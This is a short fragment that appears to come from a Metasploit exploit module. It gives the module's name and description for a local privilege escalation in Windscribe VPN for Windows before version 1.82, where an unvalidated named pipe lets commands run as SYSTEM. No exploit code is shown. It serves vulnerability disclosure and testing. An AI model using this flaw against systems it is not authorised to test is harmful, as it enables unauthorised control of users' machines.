'Name' => 'Windscribe WindscribeService Named Pipe Privilege Escalation',
'Description' => %q{
The Windscribe VPN client application for Windows makes use of a
Windows service `WindscribeService.exe` which exposes a named pipe
`\\.\pipe\WindscribeService` allowing execution of programs with
elevated privileges.
Windscribe versions prior to 1.82 do not validate user-supplied
program names, allowing execution of arbitrary commands as SYSTEM.
This module has been tested successfully on Windscribe versions
1.80 and 1.81 on Windows 7 SP1 (x64).
